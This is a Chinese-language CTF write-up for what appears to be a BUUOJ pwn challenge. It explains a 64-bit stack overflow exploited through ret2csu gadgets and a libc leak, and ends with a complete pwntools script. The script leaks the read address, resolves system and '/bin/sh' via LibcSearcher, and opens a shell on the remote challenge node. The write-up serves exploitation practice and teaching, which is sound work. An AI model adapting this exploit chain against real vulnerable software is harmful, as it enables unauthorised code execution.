首先查看一下文件的保护措施
在用ida打开看一下
这里很明显在read函数进行输入的时候存在栈溢出,然后观察一下文件,没有后门函数,也没有可以用的binsh,那就可以向libc泄露这方面去想了
由于这里是64位的程序,所以在调用write函数进行泄露时,首先要对寄存器rdi,rsi,rdx进行赋值,那就看看有什么可以用的gagdget
这里可以看到存在gadget对rdi,rsi进行赋值,但没有对rdx进行赋值的
但其实在函数libc_csu_init存在对rdi,rsi,rdx进行赋值的片段
这里划为csu1
这里为csu2
先通过csu1对各个寄存器赋值,在间接对rdi,rsi,rdx,进行赋值
但是在跳转到csu2在进行继续执行的时候,要将各个寄存器的值赋值为0,清理栈并重置寄存器值,为下一次调用准备好栈布局
点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",28249)
elf=ELF("./level3")
read_got=elf.got["read"]
write_got=elf.got["write"]
main=elf.symbols["main"]
csu1=0x4006A6
csu2=0x400690
rdi_ret=0x4006b3
ret=0x400499
def csu_args(extra, rbx, rbp, r12, r13, r14, r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payload
payload1= b'A'*(0x80+8)+ p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) + p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) + p64(main)
io.sendafter(b'Input:\n', payload1)
#io.recvuntil(b"World!\n")
#read_addr=u64(io.recv(6).ljust(8,b"\x00"))
read_addr=u64(io.recv(8))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
#io.recvuntil("Input:\n")
payload2=b"A"*(0x80+8)+p64(rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()